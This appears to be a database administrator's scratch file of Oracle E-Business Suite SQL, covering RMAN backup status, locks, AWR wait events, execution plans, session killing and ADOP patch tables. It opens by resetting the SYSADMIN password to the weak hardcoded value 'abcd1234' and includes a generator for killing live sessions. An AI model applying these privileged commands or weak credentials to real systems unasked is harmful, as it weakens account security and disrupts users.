~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
begin
if fnd_user_pkg.changepassword('SYSADMIN','abcd1234')
then null;
end if;
end;
commit;



===
RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN
BACKUP STATUS check
-------------------
SELECT row_type, operation, status, start_time, end_time
FROM v$rman_status
WHERE status not in 'RUNNING' AND start_time > sysdate -2
ORDER BY start_time ASC;
SELECT OUTPUT_DEVICE_TYPE,STATUS,INPUT_TYPE,START_TIME,END_TIME, OUTPUT_BYTES_DISPLAY, TIME_TAKEN_DISPLAY
FROM v$rman_backup_job_details
WHERE start_time > sysdate -2;
SELECT *
FROM gv$rman_output;
SELECT SID,SERIAL#,OPNAME "TASK_RUNNING",START_TIME "TIME_STARTED",LAST_UPDATE_TIME "CURRENT_TIME",TIME_REMAINING/60 "REMAINING_TIME_IN_MINS", USERNAME "DB_USER" fROM V$SESSION_LONGOPS WHERE TIME_REMAINING<>0 ORDER BY TIME_REMAINING DESC;
SELECT SID,SERIAL#,USERNAME,OSUSER,MACHINE,PROGRAM,MODULE fROM GV$SESSION WHERE SID=9016;



LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS
lockED objects within your Oracle system.
------------------------------------------------------
 SELECT a.sid,a.serial#, a.username,c.os_user_name,a.terminal,
b.object_id,substr(b.object_name,1,40) object_name,sysdate
from v$session a, dba_objects b, v$locked_object c
where a.sid = c.session_id
and b.object_id = c.object_id;
select
   c.owner,
   c.object_name,
   c.object_type,
   b.sid,
   b.serial#,
   b.status,
   b.osuser,
   b.machine
from
   v$locked_object a ,
   v$session b,
   dba_objects c
where
   b.sid = a.session_id
and
   a.object_id = c.object_id;

PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE
>>>>>*****************GET TOP 5 WAIT EVENTS**********
------------------------------------------------------
select (select dbid from v$database) dbid,1,min(dhs.snap_id) min_snap, max(dhs.snap_id) max_snap
  from dba_hist_snapshot dhs
 where dhs.end_interval_time >= to_date(sysdate - 1)
   and dhs.instance_number = 1
 group by dbid;

wITH aa AS
(SELECT output, ROWNUM r
FROM table(DBMS_WORKLOAD_REPOSITORY.awr_report_text (&v_dbid, 1, &v_min_snap, &v_max_snap)))
SELECT output top_five
FROM aa, (SELECT r FROM aa
WHERE output LIKE 'Top 5 Timed Foreground Events%') bb
WHERE aa.r BETWEEN bb.r AND bb.r + 10
order by bb.r;
***********************<<<<<



>>>>>*****************GET TOP 5 WAIT EVENTS FOR PAST 5 DAYS**********
-------------------------------------------------------------------------
select Day, Event_name, Total_wait from (
select day, event_name, sum(event_time_waited) total_wait,
row_number() over (partition by day order by sum(event_time_waited) desc) rn from (
SELECT   to_date(to_char(begin_interval_time,'dd/mm/yyyy'),'dd/mm/yyyy') day,s.begin_interval_time, m.*
    FROM (SELECT ee.instance_number, ee.snap_id, ee.event_name,
                 ROUND (ee.event_time_waited / 1000000) event_time_waited,
                 ee.total_waits,
                 ROUND ((ee.event_time_waited * 100) / et.total_time_waited,
                        1
                       ) pct,
                 ROUND ((ee.event_time_waited / ee.total_waits) / 1000
                       ) avg_wait
            FROM (SELECT ee1.instance_number, ee1.snap_id, ee1.event_name,
                           ee1.time_waited_micro - ee2.time_waited_micro event_time_waited,
                         ee1.total_waits - ee2.total_waits total_waits
                    FROM dba_hist_system_event ee1 JOIN dba_hist_system_event ee2
                         ON ee1.snap_id = ee2.snap_id + 1
                       AND ee1.instance_number = ee2.instance_number
                       AND ee1.event_id = ee2.event_id
                       AND ee1.wait_class_id <> 2723168908
                       AND ee1.time_waited_micro - ee2.time_waited_micro > 0
                  UNION
                  SELECT st1.instance_number, st1.snap_id,
                         st1.stat_name event_name,
                         st1.VALUE - st2.VALUE event_time_waited,
                         1 total_waits
                    FROM dba_hist_sys_time_model st1 JOIN dba_hist_sys_time_model st2
                         ON st1.instance_number = st2.instance_number
                       AND st1.snap_id = st2.snap_id + 1
                       AND st1.stat_id = st2.stat_id
                       AND st1.stat_name = 'DB CPU'
                       AND st1.VALUE - st2.VALUE > 0
                         ) ee
                 JOIN
                 (SELECT et1.instance_number, et1.snap_id,
                         et1.VALUE - et2.VALUE total_time_waited
                    FROM dba_hist_sys_time_model et1 JOIN dba_hist_sys_time_model et2
                         ON et1.snap_id = et2.snap_id + 1
                       AND et1.instance_number = et2.instance_number
                       AND et1.stat_id = et2.stat_id
                       AND et1.stat_name = 'DB time'
                       AND et1.VALUE - et2.VALUE > 0
                         ) et
                 ON ee.instance_number = et.instance_number
               AND ee.snap_id = et.snap_id
                 ) m
         JOIN
         dba_hist_snapshot s ON m.snap_id = s.snap_id
) group by day ,event_name
order by day desc, total_wait desc
) where rn < 5



Execution plan
-----------------
ALTER SESSION SET NLS_dATE_FORMAT='DD/MON/YYYY HH:MI:SS AM';
select * from gv$session where osuser LIKE 'BOADMIN';
SELECT * FROM DICTIONARY WHERE TABLE_NAME LIKE '%PLAN%';
DESC Gv$SQL_PLAN;
SELECT username, prev_sql_id,PROGRAM,MODULE,PREV_EXEC_START
FROM v$session
WHERE username = 'KOUNCIL_DWH';

SELECT *
  FROM TABLE(DBMS_XPLAN.DISPLAY_CURSOR('b4rkxgq8syk5d'));

SELECT *
  FROM TABLE(DBMS_XPLAN.DISPLAY_CURSOR('7tmr31a32n37q'));
 
SELECT SQL_TEXT fROM GV$SQLTEXT WHERE SQL_ID='b4rkxgq8syk5d';
SELECT SQL_TEXT fROM GV$SQLTEXT WHERE SQL_ID='7tmr31a32n37q';



############EBS - kill direct db connections through toad and plsql developer
SELECT username,OSUSER,MACHINE,TERMINAL,PROGRAM,MODULE,LOGON_TIME FROM GV$SESSION WHERE lower(program) in ('plsqldev.exe','toad.exe');
SELECT inst_id,sid,serial#,username,OSUSER,MACHINE,TERMINAL,PROGRAM,MODULE,LOGON_TIME FROM GV$SESSION WHERE lower(program) in ('plsqldev.exe','toad.exe');
SELECT 'ALTER SYSTEM KILL SESSION ''' || SID || ',' || SERIAL# || ',@' || INST_ID || ''' IMMEDIATE;' FROM  GV$SESSION WHERE lower(program) in ('plsqldev.exe','toad.exe') and lower(osuser) not in ('ad1007860');
############################################

SELECT * FROM FND_OAM_CONTEXT_FILES WHERE NAME NOT IN ('TEMPLATE','METADATA') ORDER BY NODE_NAME DESC, STATUS ASC;
SELECT name,extractvalue(xmltype(text),'//web_port')
 FROM fnd_oam_context_files where status='S'
and NAME NOT IN ('TEMPLATE','METADATA');

ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP
select * From ad_adop_sessions;
select * from fnd_nodes;
select * from fnd_oam_context_files;
select * from adop_valid_nodes;
select * from ad_zd_logs
select ADOP_SESSION_ID,PREPARE_STATUS,APPLY_STATUS,FINALIZE_STATUS,CUTOVER_STATUS,CLEANUP_STATUS,ABORT_STATUS,STATUS,ABANDON_FLAG,NODE_NAME from AD_ADOP_SESSIONS order by ADOP_SESSION_ID;